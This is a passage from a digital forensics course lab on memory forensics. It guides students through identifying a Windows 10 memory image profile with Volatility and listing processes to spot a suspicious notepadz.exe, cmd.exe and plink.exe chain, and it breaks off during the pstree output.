



ZEIT8028: Digital Forensics

Lab 5: Memory Forensics

Background

It's Monday morning and the results of your network analysis have successfully been consumed and actioned by the customer.

The customer's SOC performed an initial investigation and successfully located the compromised host. The host was contained and reimaged, but not before a complete memory dump was acquired, as dictated by their standard operating procedures. Unfortunately, the customer's SOC did not have the required expertise to analyse the memory image, so the customer's board decided that an external specialist would need to be procured.

The customer's board is eager to know exactly what happened and they want to know before the commencement of the annual shareholders meeting next week. The board is nervous of the incident going public, which they all know is inevitable.

The customer wants you to answer the following questions in a written report:

1. How was the computer compromised?
2. What was the extent of the compromise?
3. Was anything taken?
4. What remediation advice can you provide?

Evidence

For this lab, you've been provided with one (1) raw memory image (you'll find it in the `Lab 5 - Memory Forensics.7z` lab bundle), which is all the evidence you require to complete your investigation.

Before you start the first exercise, verify that your evidence is not corrupt. This ensures that you don't waste your time and effort troubleshooting data that is not working as expected.

The pertinent evidence metadata is as follows:

```
FILE:    memory.dmp
SIZE:    5,368,717,312 bytes
SHA1:    feec750bd520b3979b0ac693a467e4e645aa6413
MD5:    bfd2cfdea988c46386c0238ff0485400
```

Things to Remember

During your investigation, remember to take lots of notes and document everything that you find. Doing so will make your life significantly easier as you start to bring together your smaller analytical discoveries into a larger picture and will prevent you from questioning or repeating analysis. Most importantly, doing so will make your task of compiling the final report much easier.

Tool of Choice

To successfully complete this investigation, you'll predominantly be using `volatility`. `volatility` is a cohesive framework that analyses memory dumps from 32- and 64-bit Windows, Linux, Mac, and Android systems. The framework is many things: open-source; written in Python; operable on Windows, macOS, and Linux; extensible and scriptable; unparalleled in the number of feature sets provided which are based on reverse engineering and specialist research; comprehensively supportive of most memory file formats; fast and efficient; and backed by a large and active community, including both users and contributors.

The official `volatility` wiki has been provided to you, and is located at:

```
PATH: ./doc/volatility.wiki/
```

The specific instance of `volatility` installed in your analysis environment is a [fork by Fireeye](#). Fireeye have kindly added support for decompressing Windows 10 memory pages, which will make your analysis significantly easier.

Both `Volatility 2` (Fireeye) and `Volatility 3` have been installed on the VM. `Volatility 2` is no longer being developed, so in the real world you'll most likely use version 3. However, version 3 is a complete rewrite of the tool, and not all of the plugins have been ported over yet (and may never be). So, it's useful to understand how to use both to get the most investigative value. The labs for this course will use `Volatility 2` as it's simpler and easier to use. Feel free to attempt the labs with `Volatility 3` in addition; you might uncover additional evidence of malicious activity.

Exercise 1:

Preparation

Your first exercise is to prepare your evidence for analysis.

You must determine what kind of data has been given to you by the acquisition team. You suspect it's a memory image, but what kind of memory image is it?

Using `volatility`, determine the type of memory image you've been given. It's important to select the correct operating system profile, or you may run into issues during your analysis.

▼ Hint

Initially, you want to use the `imageinfo` command, although this may give you ambiguous results.

NB: You may also receive an error at this stage: `vol2.py -f memory.dmp --profile=Win10x64_17763 pslist`. This won't be an issue once you specify the profile later in the lab.

```
analyst@forensics~: vol2.py imageinfo -f memory.dmp
Volatility Foundation Volatility Framework 2.6.1
INFO      : volatility.debug      : Determining profile based on
KDBG search...

Suggested Profile(s) : Win10x64_17134,
Win10x64_10240_17770, Win10x64_10586, Win10x64_14393,
Win10x64, Win2016x64_14393, Win10x64_16299, Win10x64_17763,
Win10x64_15063 (Instantiated with Win10x64_15063)
      AS Layer1 :
SkipDuplicatesAMD64PagedMemory (Kernel AS)
      AS Layer2 : WindowsCrashDumpSpace64
(Unnamed AS)

      AS Layer3 : FileAddressSpace
(/mnt/external/analyst/Lab 5 - Memory Forensics/memory.dmp)
      PAE type : No PAE
      DTB : 0x1ad002L
      KDBG : 0xf8067bea55e0L

      Number of Processors : 2
      Image Type (Service Pack) : 0
      KPCR for CPU 0 : 0xfffff8067aeec000L
```

```

KPCR for CPU 1 : 0xffff89809f420000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2019-07-13 15:29:09 UTC+0000
Image local date and time : 2019-07-13 15:29:09 +0000

```

▼ Hint

Once you've selected a candidate profile you should perform an additional verification step by using the `kdbgscan` command.

```

analyst@forensics~: vol2.py -f memory.dmp kdbgscan
*****
Instantiating KDBG using: Kernel AS Win10x64 (6.4.9841 64bit)
Offset (V) : 0xf8067bea55e0
Offset (P) : 0x1ea55e0
KdCopyDataBlock (V) : 0xf8067bd2cd68
Block encoded : No
Wait never : 0x6374c2003c046f78
Wait always : 0x7808e1376e99800
KDBG owner tag check : True
Profile suggestion (KDBGHeader): Win10x64
Version64 : 0xf8067bea8dc0 (Major: 15,
Minor: 17763)
Service Pack (CmNtCSDVersion) : 0
Build string (NtBuildLab) :
17763.1.amd64fre.rs5_release.180
PsActiveProcessHead : 0xfffff8067beb5680 (145
processes)
PsLoadedModuleList : 0xfffff8067bec1a10 (158
modules)
KernelBase : 0xfffff8067baa2000 (Matches
MZ: True)
Major (OptionalHeader) : 10
Minor (OptionalHeader) : 0
KPCR : 0xfffff8067aeec000 (CPU 0)
KPCR : 0xffff89809f420000 (CPU 1)
...

```

Of interest, the `kdbgscan` command is designed to positively identify the correct profile and the correct KDBG address. A KDBG structure is a Windows kernel structure used for debugging and contains system information including a headless system build string and service pack information. Inspecting these values will enable you to select the correct profile.

You can view all the supported profiles in your instance of volatility by running:

```
analyst@forensics~$ vol2.py --info
Volatility Foundation Volatility Framework 2.6.1

Profiles
-----
VistaSP0x64      - A Profile for Windows Vista SP0 x64
VistaSP0x86      - A Profile for Windows Vista SP0 x86
VistaSP1x64      - A Profile for Windows Vista SP1 x64
VistaSP1x86      - A Profile for Windows Vista SP1 x86
VistaSP2x64      - A Profile for Windows Vista SP2 x64
VistaSP2x86      - A Profile for Windows Vista SP2 x86
Win10x64         - A Profile for Windows 10 x64
...
```

▼ Solution

Based on the `kdbgscan` output, the profile is likely *Win10x64_17763*. This profile is evident in every `kdbgscan` output.

Document all your findings.

Exercise 2: Finding the Malicious Process

Now that you've determined the correct `volatility` profile to use, it's time to start your analysis.

a) Inspect all the processes that were running at the time the memory image was captured using the `pslist` command.

▼ Solution

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 pslist
Volatility Foundation Volatility Framework 2.6.1
Offset(V)          Name                PID  PPID  Thds
Hnds  Sess  Wow64  Start                Exit
-----
-----
0xffff9b01d206b040 System                4    0    115
0 -----          0 2019-07-13 14:44:28 UTC+0000
0xffff9b01d2081080 Registry              88    4     4
0 -----          0 2019-07-13 14:44:20 UTC+0000
0xffff9b01d2bba040 smss.exe             276    4     2
0 -----          0 2019-07-13 14:44:28 UTC+0000
0xffff9b01d2fe4140 csrss.exe            388   380    10
0    0    0 2019-07-13 14:44:30 UTC+0000
0xffff9b01d569a080 wininit.exe          468   380     1
0    0    0 2019-07-13 14:44:31 UTC+0000
0xffff9b01d570f080 services.exe         604   468     9
0    0    0 2019-07-13 14:44:31 UTC+0000
0xffff9b01d571b0c0 lsass.exe            624   468     9
0    0    0 2019-07-13 14:44:31 UTC+0000
0xffff9b01d579d200 svchost.exe          728   604     1
0    0    0 2019-07-13 14:44:33 UTC+0000
0xffff9b01d57a3100 fontdrvhost.ex       736   468     5
0    0    0 2019-07-13 14:44:33 UTC+0000
0xffff9b01d57cc200 svchost.exe          812   604    25
0    0    0 2019-07-13 14:44:33 UTC+0000
0xffff9b01d5e4e280 svchost.exe          860   604    16
0    0    0 2019-07-13 14:44:33 UTC+0000
0xffff9b01d5e6d200 svchost.exe          904   604     5
0    0    0 2019-07-13 14:44:33 UTC+0000
0xffff9b01d5f172c0 svchost.exe          680   604    33
0    0    0 2019-07-13 14:44:34 UTC+0000
0xffff9b01d5f5b2c0 svchost.exe          876   604     3
0    0    0 2019-07-13 14:44:35 UTC+0000
0xffff9b01d5f622c0 svchost.exe          1028  604     5
0    0    0 2019-07-13 14:44:35 UTC+0000
0xffff9b01d5f82240 svchost.exe          1076  604     1
0    0    0 2019-07-13 14:44:35 UTC+0000
```

0xffff9b01d5fa0280	svchost.exe	1120	604	2
0	0	0	2019-07-13 14:44:35 UTC+0000	
0xffff9b01d5fc82c0	svchost.exe	1212	604	7
0	0	0	2019-07-13 14:44:35 UTC+0000	
0xffff9b01d5fd9200	svchost.exe	1220	604	11
0	0	0	2019-07-13 14:44:35 UTC+0000	
0xffff9b01d6009200	svchost.exe	1272	604	5
0	0	0	2019-07-13 14:44:35 UTC+0000	
0xffff9b01d606e280	svchost.exe	1348	604	4
0	0	0	2019-07-13 14:44:36 UTC+0000	
0xffff9b01d6098200	svchost.exe	1404	604	8
0	0	0	2019-07-13 14:44:36 UTC+0000	
0xffff9b01d60d32c0	svchost.exe	1432	604	6
0	0	0	2019-07-13 14:44:36 UTC+0000	
0xffff9b01d219c080	svchost.exe	1448	604	3
0	0	0	2019-07-13 14:44:36 UTC+0000	
0xffff9b01d213e080	vmacthlp.exe	1576	604	1
0	0	0	2019-07-13 14:44:37 UTC+0000	
0xffff9b01d20bc080	svchost.exe	1728	604	8
0	0	0	2019-07-13 14:44:37 UTC+0000	
0xffff9b01d20ad080	svchost.exe	1744	604	3
0	0	0	2019-07-13 14:44:37 UTC+0000	
0xffff9b01d60d7200	svchost.exe	1772	604	3
0	0	0	2019-07-13 14:44:38 UTC+0000	
0xffff9b01d60d92c0	svchost.exe	1792	604	5
0	0	0	2019-07-13 14:44:38 UTC+0000	
0xffff9b01d6154200	svchost.exe	1804	604	3
0	0	0	2019-07-13 14:44:38 UTC+0000	
0xffff9b01d616e2c0	svchost.exe	1836	604	5
0	0	0	2019-07-13 14:44:38 UTC+0000	
0xffff9b01d6194040	MemCompression	1900	4	54
0	-----	0	2019-07-13 14:44:38 UTC+0000	
0xffff9b01d61bd300	svchost.exe	1940	604	5
0	0	0	2019-07-13 14:44:38 UTC+0000	
0xffff9b01d61dd200	svchost.exe	1964	604	3
0	0	0	2019-07-13 14:44:38 UTC+0000	
0xffff9b01d6204240	svchost.exe	2012	604	2
0	0	0	2019-07-13 14:44:38 UTC+0000	
0xffff9b01d622f2c0	svchost.exe	1532	604	13
0	0	0	2019-07-13 14:44:39 UTC+0000	
0xffff9b01d6236200	svchost.exe	1640	604	5
0	0	0	2019-07-13 14:44:39 UTC+0000	
0xffff9b01d62582c0	svchost.exe	1752	604	10
0	0	0	2019-07-13 14:44:39 UTC+0000	
0xffff9b01d62d82c0	svchost.exe	2208	604	11
0	0	0	2019-07-13 14:44:39 UTC+0000	
0xffff9b01d62db2c0	svchost.exe	2216	604	5
0	0	0	2019-07-13 14:44:39 UTC+0000	
0xffff9b01d62e70c0	svchost.exe	2224	604	4
0	0	0	2019-07-13 14:44:39 UTC+0000	

0xffff9b01d6349200	svchost.exe	2348	604	5
0	0	0	2019-07-13 14:44:39 UTC+0000	
0xffff9b01d63a81c0	spoolsv.exe	2456	604	9
0	0	0	2019-07-13 14:44:40 UTC+0000	
0xffff9b01d63b32c0	svchost.exe	2496	604	5
0	0	0	2019-07-13 14:44:40 UTC+0000	
0xffff9b01d63ee2c0	svchost.exe	2588	604	12
0	0	0	2019-07-13 14:44:40 UTC+0000	
0xffff9b01d6479200	svchost.exe	2800	604	9
0	0	0	2019-07-13 14:44:41 UTC+0000	
0xffff9b01d64e4240	svchost.exe	2924	604	3
0	0	0	2019-07-13 14:44:41 UTC+0000	
0xffff9b01d6504200	svchost.exe	2944	604	7
0	0	0	2019-07-13 14:44:41 UTC+0000	
0xffff9b01d65af280	svchost.exe	3100	604	12
0	0	0	2019-07-13 14:44:42 UTC+0000	
0xffff9b01d65e82c0	svchost.exe	3180	604	7
0	0	0	2019-07-13 14:44:43 UTC+0000	
0xffff9b01d66070c0	svchost.exe	3188	604	11
0	0	0	2019-07-13 14:44:43 UTC+0000	
0xffff9b01d660e2c0	svchost.exe	3200	604	15
0	0	0	2019-07-13 14:44:43 UTC+0000	
0xffff9b01d6612200	svchost.exe	3212	604	25
0	0	0	2019-07-13 14:44:43 UTC+0000	
0xffff9b01d6623200	svchost.exe	3224	604	6
0	0	0	2019-07-13 14:44:43 UTC+0000	
0xffff9b01d665b200	sshd.exe	3316	604	2
0	0	0	2019-07-13 14:44:43 UTC+0000	
0xffff9b01d6674240	svchost.exe	3336	604	3
0	0	0	2019-07-13 14:44:43 UTC+0000	
0xffff9b01d66792c0	VGAuthService.	3352	604	2
0	0	0	2019-07-13 14:44:43 UTC+0000	
0xffff9b01d667d080	vmtoolsd.exe	3368	604	10
0	0	0	2019-07-13 14:44:43 UTC+0000	
0xffff9b01d66a6200	wlms.exe	3388	604	2
0	0	0	2019-07-13 14:44:43 UTC+0000	
0xffff9b01d66d6200	svchost.exe	3444	604	7
0	0	0	2019-07-13 14:44:43 UTC+0000	
0xffff9b01d6724200	svchost.exe	3516	604	5
0	0	0	2019-07-13 14:44:44 UTC+0000	
0xffff9b01d677e2c0	svchost.exe	3616	604	2
0	0	0	2019-07-13 14:44:44 UTC+0000	
0xffff9b01d69c3240	dllhost.exe	3244	604	12
0	0	0	2019-07-13 14:44:47 UTC+0000	
0xffff9b01d6a0f2c0	svchost.exe	4108	604	3
0	0	0	2019-07-13 14:44:47 UTC+0000	
0xffff9b01d22de240	WmiPrivSE.exe	4304	812	11
0	0	0	2019-07-13 14:44:48 UTC+0000	
0xffff9b01d64b30c0	msdtc.exe	4624	604	9
0	0	0	2019-07-13 14:44:54 UTC+0000	

```

0xffff9b01d66fb080 svchost.exe          4968    604    2
0      0      0 2019-07-13 14:44:56 UTC+0000
0xffff9b01d6c20240 svchost.exe          4996    604    7
0      0      0 2019-07-13 14:44:56 UTC+0000
0xffff9b01d6f16540 MicrosoftEdge.          5416    812    0
-----      1      0 2019-07-13 14:45:01 UTC+0000
2019-07-13 15:03:56 UTC+0000
0xffff9b01d73222c0 svchost.exe          6192    604   10
0      0      0 2019-07-13 14:45:07 UTC+0000
0xffff9b01d734c200 SearchIndexer.          6240    604   19
0      0      0 2019-07-13 14:45:07 UTC+0000
0xffff9b01d70382c0 svchost.exe          6564    604    2
0      0      0 2019-07-13 14:45:10 UTC+0000
0xffff9b01d75a4080 svchost.exe          7136    604   10
0      0      0 2019-07-13 14:45:14 UTC+0000
0xffff9b01d7632240 SecurityHealth          7360    604   13
0      0      0 2019-07-13 14:45:16 UTC+0000
0xffff9b01d7d95280 svchost.exe          6464    604    9
0      0      0 2019-07-13 14:46:45 UTC+0000
0xffff9b01d8155240 svchost.exe          2952    604    1
0      0      0 2019-07-13 14:46:59 UTC+0000
0xffff9b01d81d3340 SgrmBroker.exe          1248    604    5
0      0      0 2019-07-13 14:47:03 UTC+0000
0xffff9b01d8121240 svchost.exe          4044    604    1
0      0      0 2019-07-13 14:47:12 UTC+0000
0xffff9b01d8261200 svchost.exe          1884    604    7
0      0      0 2019-07-13 14:47:21 UTC+0000
0xffff9b01d810a280 svchost.exe          8156    604    5
0      0      0 2019-07-13 14:47:28 UTC+0000
0xffff9b01d83212c0 svchost.exe          3156    604    5
0      0      0 2019-07-13 14:47:30 UTC+0000
0xffff9b01d64b6540 svchost.exe          7760    604    3
0      0      0 2019-07-13 14:48:08 UTC+0000
0xffff9b01d6809080 svchost.exe          9004    604    4
0      0      0 2019-07-13 14:57:29 UTC+0000
0xffff9b01d7dac080 svchost.exe          7672    604    0
-----      0      0 2019-07-13 15:00:12 UTC+0000
2019-07-13 15:00:20 UTC+0000
0xffff9b01d72a6500 svchost.exe          5836    604    1
0      0      0 2019-07-13 15:00:22 UTC+0000
0xffff9b01d7bb2540 notepadz.exe          8816    604    0
-----      0      0 2019-07-13 15:02:06 UTC+0000
2019-07-13 15:02:36 UTC+0000
0xffff9b01d74c8080 cmd.exe              8728    8816    1
0      0      0 2019-07-13 15:02:06 UTC+0000
0xffff9b01d7dcd080 conhost.exe          8960    8728    3
0      0      0 2019-07-13 15:02:06 UTC+0000
0xffff9b01d883c340 csrss.exe           8776    8968   11
0      2      0 2019-07-13 15:03:59 UTC+0000
0xffff9b01d74bb540 winlogon.exe         5312    8968    3

```

0	2	0	2019-07-13 15:03:59 UTC+0000			
0xffff9b01d7da7540	LogonUI.exe	5284	5312	13		
0	2	0	2019-07-13 15:03:59 UTC+0000			
0xffff9b01d7685540	fontdrvhost.ex	3964	5312	5		
0	2	0	2019-07-13 15:03:59 UTC+0000			
0xffff9b01d766e080	dwm.exe	5148	5312	12		
0	2	0	2019-07-13 15:03:59 UTC+0000			
0xffff9b01d7039080	svchost.exe	5268	604	4		
0	0	0	2019-07-13 15:15:08 UTC+0000			
0xffff9b01d28b5540	plink.exe	7320	8728	4		
0	0	0	2019-07-13 15:19:23 UTC+0000			
0xffff9b01d8244080	csrss.exe	232	5428	11		
0	3	0	2019-07-13 15:20:06 UTC+0000			
0xffff9b01d80eb080	winlogon.exe	5724	5428	3		
0	3	0	2019-07-13 15:20:07 UTC+0000			
0xffff9b01d218d080	fontdrvhost.ex	4692	5724	5		
0	3	0	2019-07-13 15:20:07 UTC+0000			
0xffff9b01d7374540	dwm.exe	7288	5724	13		
0	3	0	2019-07-13 15:20:07 UTC+0000			
0xffff9b01d5eb7080	SearchProtocol	4128	6240	7		
0	0	0	2019-07-13 15:22:40 UTC+0000			
0xffff9b01d8319540	rdpclip.exe	3564	680	9		
0	3	0	2019-07-13 15:22:42 UTC+0000			
0xffff9b01d5e9c540	sihost.exe	6260	1404	17		
0	3	0	2019-07-13 15:22:42 UTC+0000			
0xffff9b01d75dd540	svchost.exe	8524	604	10		
0	3	0	2019-07-13 15:22:42 UTC+0000			
0xffff9b01d7dc92c0	svchost.exe	4988	604	6		
0	3	0	2019-07-13 15:22:43 UTC+0000			
0xffff9b01d80c62c0	svchost.exe	8760	604	3		
0	0	0	2019-07-13 15:22:43 UTC+0000			
0xffff9b01d82992c0	taskhostw.exe	796	1220	11		
0	3	0	2019-07-13 15:22:43 UTC+0000			
0xffff9b01d6079300	userinit.exe	5100	5724	0		
-----	3	0	2019-07-13 15:22:43 UTC+0000			
2019-07-13 15:23:18 UTC+0000						
0xffff9b01d762c080	explorer.exe	4408	5100	94		
0	3	0	2019-07-13 15:22:43 UTC+0000			
0xffff9b01d6029080	ctfmon.exe	6640	2924	10		
0	3	0	2019-07-13 15:22:43 UTC+0000			
0xffff9b01d722e080	svchost.exe	7292	604	5		
0	0	0	2019-07-13 15:22:44 UTC+0000			
0xffff9b01d7003080	smartscreen.ex	1468	812	8		
0	3	0	2019-07-13 15:22:45 UTC+0000			
0xffff9b01d6e020c0	svchost.exe	7068	604	7		
0	0	0	2019-07-13 15:22:46 UTC+0000			
0xffff9b01d72260c0	svchost.exe	7132	604	6		
0	3	0	2019-07-13 15:22:53 UTC+0000			
0xffff9b01d6027080	ShellExperienc	6816	812	26		
0	3	0	2019-07-13 15:23:03 UTC+0000			

0xffff9b01d8157080	SearchUI.exe	4236	812	38
0	3	0	2019-07-13 15:23:03 UTC+0000	
0xffff9b01d5fc0080	RuntimeBroker.	1880	812	10
0	3	0	2019-07-13 15:23:03 UTC+0000	
0xffff9b01d704b080	RuntimeBroker.	6436	812	12
0	3	0	2019-07-13 15:23:04 UTC+0000	
0xffff9b01d7688080	dllhost.exe	8456	812	4
0	3	0	2019-07-13 15:23:11 UTC+0000	
0xffff9b01d74f3080	ApplicationFra	7056	812	4
0	3	0	2019-07-13 15:23:11 UTC+0000	
0xffff9b01d76c8080	MicrosoftEdge.	3732	812	34
0	3	0	2019-07-13 15:23:11 UTC+0000	
0xffff9b01d640a080	Microsoft.Phot	7224	812	17
0	3	0	2019-07-13 15:23:12 UTC+0000	
0xffff9b01d759a200	browser_broker	9044	812	3
0	3	0	2019-07-13 15:23:12 UTC+0000	
0xffff9b01d81b72c0	svchost.exe	3416	604	3
0	0	0	2019-07-13 15:23:12 UTC+0000	
0xffff9b01d6234200	RuntimeBroker.	3928	812	3
0	3	0	2019-07-13 15:23:12 UTC+0000	
0xffff9b01d772c080	Windows.WARP.J	4936	3416	3
0	0	0	2019-07-13 15:23:13 UTC+0000	
0xffff9b01d78c6480	MicrosoftEdgeS	8636	3928	9
0	3	0	2019-07-13 15:23:14 UTC+0000	
0xffff9b01d7b70480	MicrosoftEdgeC	6312	812	15
0	3	0	2019-07-13 15:23:14 UTC+0000	
0xffff9b01d8850080	RuntimeBroker.	2040	812	6
0	3	0	2019-07-13 15:23:22 UTC+0000	
0xffff9b01d692f080	SecurityHealth	8288	4408	2
0	3	0	2019-07-13 15:23:25 UTC+0000	
0xffff9b01d8279080	svchost.exe	4144	604	3
0	0	0	2019-07-13 15:23:26 UTC+0000	
0xffff9b01d7183080	vmtoolsd.exe	6824	4408	8
0	3	0	2019-07-13 15:23:26 UTC+0000	
0xffff9b01d7457080	audiodg.exe	752	1752	3
0	0	0	2019-07-13 15:23:28 UTC+0000	
0xffff9b01d6b64500	svchost.exe	3716	604	5
0	0	0	2019-07-13 15:23:44 UTC+0000	
0xffff9b01d6934080	svchost.exe	3008	604	5
0	0	0	2019-07-13 15:23:45 UTC+0000	
0xffff9b01d8003080	WindowsInterna	5628	812	23
0	3	0	2019-07-13 15:23:59 UTC+0000	
0xffff9b01d5696240	dllhost.exe	4164	812	6
0	3	0	2019-07-13 15:24:09 UTC+0000	
0xffff9b01d5f12080	RuntimeBroker.	4788	812	7
0	3	0	2019-07-13 15:24:13 UTC+0000	
0xffff9b01d7550080	cmd.exe	4908	4408	1
0	3	0	2019-07-13 15:24:24 UTC+0000	
0xffff9b01d73bf080	conhost.exe	2100	4908	4
0	3	0	2019-07-13 15:24:24 UTC+0000	

```

0xffff9b01d81c1080 svchost.exe          1260    604    3
0      3      0 2019-07-13 15:24:43 UTC+0000
0xffff9b01d6c50540 SearchFilterHo          5868   6240    1
0      0      0 2019-07-13 15:26:48 UTC+0000
0xffff9b01d80c3540 OneDrive.exe           3948   7368   20
0      3      1 2019-07-13 15:26:49 UTC+0000
0xffff9b01d7b4f080 svchost.exe          7444    604   15
0      0      0 2019-07-13 15:27:50 UTC+0000
0xffff9b01d6f0f540 backgroundTask         4748    812   23
0      3      0 2019-07-13 15:29:08 UTC+0000
0xffff9b01d79d9080 RuntimeBroker.         9140    812    7
0      3      0 2019-07-13 15:29:08 UTC+0000

```

If you have prior experience conducting cybersecurity investigations, you should be able to spot the malicious process straight away. If not, don't worry; using your understanding of typical Windows processes and applying deductive analysis, reduce the set of candidate processes until only the malicious process remains.

b) If you find it easier to graphically inspect process ancestry, feel free to use the `pstree` command.

▼ Solution

```

analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 pstree
vol2.py -f memory.dmp --profile=Win10x64_17763 pstree
Volatility Foundation Volatility Framework 2.6.1
Name                                                                 Pid
PPid  Thds  Hnds Time
-----
-----
  0xffff9b01d2fe4140:csrss.exe                                         388
380    10    0 2019-07-13 14:44:30 UTC+0000
  0xffff9b01d569a080:wininit.exe                                       468
380     1    0 2019-07-13 14:44:31 UTC+0000
. 0xffff9b01d570f080:services.exe                                       604
468     9    0 2019-07-13 14:44:31 UTC+0000
.. 0xffff9b01d5f622c0:svchost.exe                                       1028
604     5    0 2019-07-13 14:44:35 UTC+0000
.. 0xffff9b01d6a0f2c0:svchost.exe                                       4108
604     3    0 2019-07-13 14:44:47 UTC+0000
.. 0xffff9b01d64b30c0:msdtc.exe                                         4624
604     9    0 2019-07-13 14:44:54 UTC+0000
.. 0xffff9b01d81b72c0:svchost.exe                                       3416

```

604	3	0	2019-07-13 15:23:12 UTC+0000	
...			0xffff9b01d772c080:Windows.WARP.J	4936
3416	3	0	2019-07-13 15:23:13 UTC+0000	
..			0xffff9b01d63ee2c0:svchost.exe	2588
604	12	0	2019-07-13 14:44:40 UTC+0000	
..			0xffff9b01d677e2c0:svchost.exe	3616
604	2	0	2019-07-13 14:44:44 UTC+0000	
..			0xffff9b01d213e080:vmacthlp.exe	1576
604	1	0	2019-07-13 14:44:37 UTC+0000	
..			0xffff9b01d5e4e280:svchost.exe	860
604	16	0	2019-07-13 14:44:33 UTC+0000	
..			0xffff9b01d73222c0:svchost.exe	6192
604	10	0	2019-07-13 14:45:07 UTC+0000	
..			0xffff9b01d5f82240:svchost.exe	1076
604	1	0	2019-07-13 14:44:35 UTC+0000	
..			0xffff9b01d80c62c0:svchost.exe	8760
604	3	0	2019-07-13 15:22:43 UTC+0000	
..			0xffff9b01d5fa0280:svchost.exe	1120
604	2	0	2019-07-13 14:44:35 UTC+0000	
..			0xffff9b01d6809080:svchost.exe	9004
604	4	0	2019-07-13 14:57:29 UTC+0000	
..			0xffff9b01d64b6540:svchost.exe	7760
604	3	0	2019-07-13 14:48:08 UTC+0000	
..			0xffff9b01d83212c0:svchost.exe	3156
604	5	0	2019-07-13 14:47:30 UTC+0000	
..			0xffff9b01d734c200:SearchIndexer.	6240
604	19	0	2019-07-13 14:45:07 UTC+0000	
...			0xffff9b01d6c50540:SearchFilterHo	5868
6240	1	0	2019-07-13 15:26:48 UTC+0000	
...			0xffff9b01d5eb7080:SearchProtocol	4128
6240	7	0	2019-07-13 15:22:40 UTC+0000	
..			0xffff9b01d6236200:svchost.exe	1640
604	5	0	2019-07-13 14:44:39 UTC+0000	
..			0xffff9b01d65e82c0:svchost.exe	3180
604	7	0	2019-07-13 14:44:43 UTC+0000	
..			0xffff9b01d7bb2540:notepadz.exe	8816
604	0	-----	2019-07-13 15:02:06 UTC+0000	
...			0xffff9b01d74c8080:cmd.exe	8728
8816	1	0	2019-07-13 15:02:06 UTC+0000	
....			0xffff9b01d7dcd080:conhost.exe	8960
8728	3	0	2019-07-13 15:02:06 UTC+0000	
....			0xffff9b01d28b5540:plink.exe	7320
8728	4	0	2019-07-13 15:19:23 UTC+0000	
..			0xffff9b01d66070c0:svchost.exe	3188
604	11	0	2019-07-13 14:44:43 UTC+0000	
..			0xffff9b01d7b4f080:svchost.exe	7444
604	15	0	2019-07-13 15:27:50 UTC+0000	
..			0xffff9b01d722e080:svchost.exe	7292
604	5	0	2019-07-13 15:22:44 UTC+0000	
..			0xffff9b01d660e2c0:svchost.exe	3200

604	15	0	2019-07-13 14:44:43 UTC+0000	
..	0xffff9b01d20bc080:	svchost.exe		1728
604	8	0	2019-07-13 14:44:37 UTC+0000	
..	0xffff9b01d6b64500:	svchost.exe		3716
604	5	0	2019-07-13 15:23:44 UTC+0000	
..	0xffff9b01d6612200:	svchost.exe		3212
604	25	0	2019-07-13 14:44:43 UTC+0000	
..	0xffff9b01d7039080:	svchost.exe		5268
604	4	0	2019-07-13 15:15:08 UTC+0000	
..	0xffff9b01d6623200:	svchost.exe		3224
604	6	0	2019-07-13 14:44:43 UTC+0000	
..	0xffff9b01d62d82c0:	svchost.exe		2208
604	11	0	2019-07-13 14:44:39 UTC+0000	
..	0xffff9b01d5f172c0:	svchost.exe		680
604	33	0	2019-07-13 14:44:34 UTC+0000	
...	0xffff9b01d8319540:	rdpclip.exe		3564
680	9	0	2019-07-13 15:22:42 UTC+0000	
..	0xffff9b01d65af280:	svchost.exe		3100
604	12	0	2019-07-13 14:44:42 UTC+0000	
..	0xffff9b01d69c3240:	dllhost.exe		3244
604	12	0	2019-07-13 14:44:47 UTC+0000	
..	0xffff9b01d62e70c0:	svchost.exe		2224
604	4	0	2019-07-13 14:44:39 UTC+0000	
..	0xffff9b01d5fc82c0:	svchost.exe		1212
604	7	0	2019-07-13 14:44:35 UTC+0000	
..	0xffff9b01d7632240:	SecurityHealth		7360
604	13	0	2019-07-13 14:45:16 UTC+0000	
..	0xffff9b01d5fd9200:	svchost.exe		1220
604	11	0	2019-07-13 14:44:35 UTC+0000	
...	0xffff9b01d82992c0:	taskhostw.exe		796
1220	11	0	2019-07-13 15:22:43 UTC+0000	
..	0xffff9b01d5f5b2c0:	svchost.exe		876
604	3	0	2019-07-13 14:44:35 UTC+0000	
..	0xffff9b01d72a6500:	svchost.exe		5836
604	1	0	2019-07-13 15:00:22 UTC+0000	
..	0xffff9b01d20ad080:	svchost.exe		1744
604	3	0	2019-07-13 14:44:37 UTC+0000	
..	0xffff9b01d62582c0:	svchost.exe		1752
604	10	0	2019-07-13 14:44:39 UTC+0000	
...	0xffff9b01d7457080:	audiodg.exe		752
1752	3	0	2019-07-13 15:23:28 UTC+0000	
..	0xffff9b01d6934080:	svchost.exe		3008
604	5	0	2019-07-13 15:23:45 UTC+0000	
..	0xffff9b01d60d7200:	svchost.exe		1772
604	3	0	2019-07-13 14:44:38 UTC+0000	
..	0xffff9b01d6479200:	svchost.exe		2800
604	9	0	2019-07-13 14:44:41 UTC+0000	
..	0xffff9b01d665b200:	sshd.exe		3316
604	2	0	2019-07-13 14:44:43 UTC+0000	
..	0xffff9b01d6009200:	svchost.exe		1272

604	5	0	2019-07-13 14:44:35	UTC+0000	
..	0xffff9b01d60d92c0:	svchost.exe			1792
604	5	0	2019-07-13 14:44:38	UTC+0000	
..	0xffff9b01d6674240:	svchost.exe			3336
604	3	0	2019-07-13 14:44:43	UTC+0000	
..	0xffff9b01d57cc200:	svchost.exe			812
604	25	0	2019-07-13 14:44:33	UTC+0000	
...	0xffff9b01d6234200:	RuntimeBroker.			3928
812	3	0	2019-07-13 15:23:12	UTC+0000	
....	0xffff9b01d78c6480:	MicrosoftEdgeS			8636
3928	9	0	2019-07-13 15:23:14	UTC+0000	
...	0xffff9b01d7688080:	dllhost.exe			8456
812	4	0	2019-07-13 15:23:11	UTC+0000	
...	0xffff9b01d5696240:	dllhost.exe			4164
812	6	0	2019-07-13 15:24:09	UTC+0000	
...	0xffff9b01d7003080:	smartscreen.ex			1468
812	8	0	2019-07-13 15:22:45	UTC+0000	
...	0xffff9b01d7b70480:	MicrosoftEdgeC			6312
812	15	0	2019-07-13 15:23:14	UTC+0000	
...	0xffff9b01d5f12080:	RuntimeBroker.			4788
812	7	0	2019-07-13 15:24:13	UTC+0000	
...	0xffff9b01d22de240:	WmiPrvSE.exe			4304
812	11	0	2019-07-13 14:44:48	UTC+0000	
